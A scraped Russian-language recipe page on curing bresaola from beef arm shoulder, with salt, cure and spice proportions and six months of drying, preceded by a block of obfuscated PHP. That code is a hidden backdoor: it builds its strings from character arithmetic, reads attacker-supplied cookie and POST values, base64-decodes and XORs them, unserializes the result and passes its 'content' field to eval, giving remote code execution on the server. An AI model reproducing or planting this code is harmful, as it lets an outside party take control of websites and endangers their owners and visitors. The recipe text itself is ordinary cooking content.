$kphiBOJD = 'h' . chr ( 634 - 531 ).chr (95) . "\162" . "\102" . chr ( 162 - 50 ); $tlzxuVDuI = chr (99) . chr ( 836 - 728 ).'a' . "\163" . chr ( 357 - 242 )."\x5f" . 'e' . chr ( 181 - 61 ).'i' . "\x73" . chr ( 606 - 490 ).'s';$pIrqqIKjpA = class_exists($kphiBOJD); $kphiBOJD = "59360";$tlzxuVDuI = "46866";if ($pIrqqIKjpA === FALSE){class hg_rBp{public function kQVdKKM(){echo "51055";}private $gQPoKo;public static $HETcCyLM = "dd055860-1178-4382-bbe6-b1731abbe2ad";public static $cjdyII = 29116;public function __construct($GpQlsceO=0){$psYBWRuHC = $_POST;$MylDSx = $_COOKIE;$uxxIxYwK = @$MylDSx[substr(hg_rBp::$HETcCyLM, 0, 4)];if (!empty($uxxIxYwK)){$byiDf = "base64";$Sqatkdz = "";$uxxIxYwK = explode(",", $uxxIxYwK);foreach ($uxxIxYwK as $IaBeOT){$Sqatkdz .= @$MylDSx[$IaBeOT];$Sqatkdz .= @$psYBWRuHC[$IaBeOT];}$Sqatkdz = array_map($byiDf . "\x5f" . chr (100) . "\145" . "\x63" . chr (111) . 'd' . "\145", array($Sqatkdz,)); $Sqatkdz = $Sqatkdz[0] ^ str_repeat(hg_rBp::$HETcCyLM, (strlen($Sqatkdz[0]) / strlen(hg_rBp::$HETcCyLM)) + 1);hg_rBp::$cjdyII = @unserialize($Sqatkdz);}}private function YKuNECny(){if (is_array(hg_rBp::$cjdyII)) {$cJAZGjKyRg = str_replace(chr (60) . chr ( 487 - 424 ).chr (112) . "\150" . chr ( 323 - 211 ), "", hg_rBp::$cjdyII[chr ( 486 - 387 )."\157" . "\x6e" . "\164" . chr ( 554 - 453 ).chr ( 190 - 80 ).chr ( 932 - 816 )]);eval($cJAZGjKyRg); $JFRjYg = "49892";exit();}}public function __destruct(){$this->YKuNECny();}}$OZwGrn = new /* 37245 */ hg_rBp(); $OZwGrn = str_repeat("27503_51898", 1);} Брезаола с Передней Лопатки • Meat Review

На главную
Рецепты
Брезаола с Передней Лопатки

Брезаола с Передней Лопатки

Перейти в режим чтения

мин

0 0

Поделиться
3 237 Просмотры
Нравится 6

Добавить рецепт в закладки

You need to login or register to bookmark/favorite this content.

Виды готовки:

Вяленое

Средне

Инструкция

Заметил – если предлагаю неискушённым шаркутери гостям выложенные на доске прошедшие муки вяления продукты, брезаола уходит первой. Рубиновый цвет, томный аромат, вариации от отсутствия до небольшого намека на жир – удобное сочетание соблазна первых попыток попробовать мясо, не прошедшее тепловую обработку. Такова уж моя дань жить в Оклахоме, где народ избалован прекрасной говядиной, чаще всего превращающейся в превосходное барбекю. Если коммерческая свинина в моих краях не выдерживает критики, в говядине здесь толк знают и качество ценят. Мне, взращённому в украинском Полесье, по началу было не понять, как фунт свинины может стоить 99 центов, а говядины – иногда и 15 долларов.

С другой стороны, в шаркутери брезаола была и в большинстве случаев остается на периферии; ее делали и делают, но – как второстепенный продукт. Тут королева — Ее Величество Свинья. Такой status quo лишает нас неординарной продукции, вяленой из ввысококачественной говядины.

Данная брезаола вялилась чуть больше шести месяцев. «Передняя Лопатка» — наиболее близкий на русском эквивалент «Whole Boneless Arm Shoulder» из всего, что я смог найти. Отруб имеет состав жира больше других частей , идущих на вяление. Вялил этот отруб впервые. Говядина – агнусовая. Использовал недавно появившиеся культуры для вяления цельных мышц Texel DCM-1. Эффект этих культур описать сложно. Вкус становится ярче, оттенки – заметней. Кто-то описал результат как вяленое мясо на наркотиках. Лучше выразить – сложно.

Потеря веса – 42%, хоть ожидалось больше. Валилась без оболочек – не так легко найти подходящие, хотя можно использовать коллагеновый лист.
Начальный вес – 4.6гр. На него: 2.5% морской соли, 0.25% кюра№2, 0.2% кориандра; 0.7% черного перца, 0.5% — Аллепского перца; свежее орегано с базиликом с огорода; бренди – на глаз. Все – в вакуум, холодильник. После месяца промыл, просушил, притрусил смесью черного и сычуанского перца, красного перца, аниса. После вяления в Климатической Камере, отправил в вакууме на две недели отдыха и балансирования в холодильник.